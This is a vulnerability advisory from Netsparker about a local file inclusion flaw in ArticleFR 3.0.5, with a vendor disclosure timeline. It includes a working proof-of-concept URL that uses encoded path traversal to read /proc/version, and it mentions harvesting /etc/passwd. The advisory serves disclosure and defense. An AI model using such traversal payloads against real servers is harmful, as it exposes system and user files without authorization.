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Local File Inclusion Vulnerability in ArticleFR

Information
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Advisory by Netsparker.
Name: Local File Inclusion Vulnerability in ArticleFR
Affected Software : ArticleFR
Affected Versions: 3.0.5 and possibly below
Vendor Homepage : http://freereprintables.com/
Vulnerability Type : Local File Inclusion
Severity : Critical
Netsparker Advisory Reference : NS-15-004

Description
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By exploiting a Local File Inclusion vulnerability the attacker can gather usernames via an "/etc/passwd" file and more.

Technical Details
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Proof of Concept URLs for LFI in ArticleFR:

http://example.com/articleFR-3.0.5/application/templates/amelia/loadjs.php?s=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion

For more information on local file inclusion vulnerabilities read the article Local File Inclusion (LFI).

Advisory Timeline
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23/01/2015 - First Contact
30/01/2015 - Second Contact
17/02/2015 - Third Contact
03/03/2015 - No answer, advisory released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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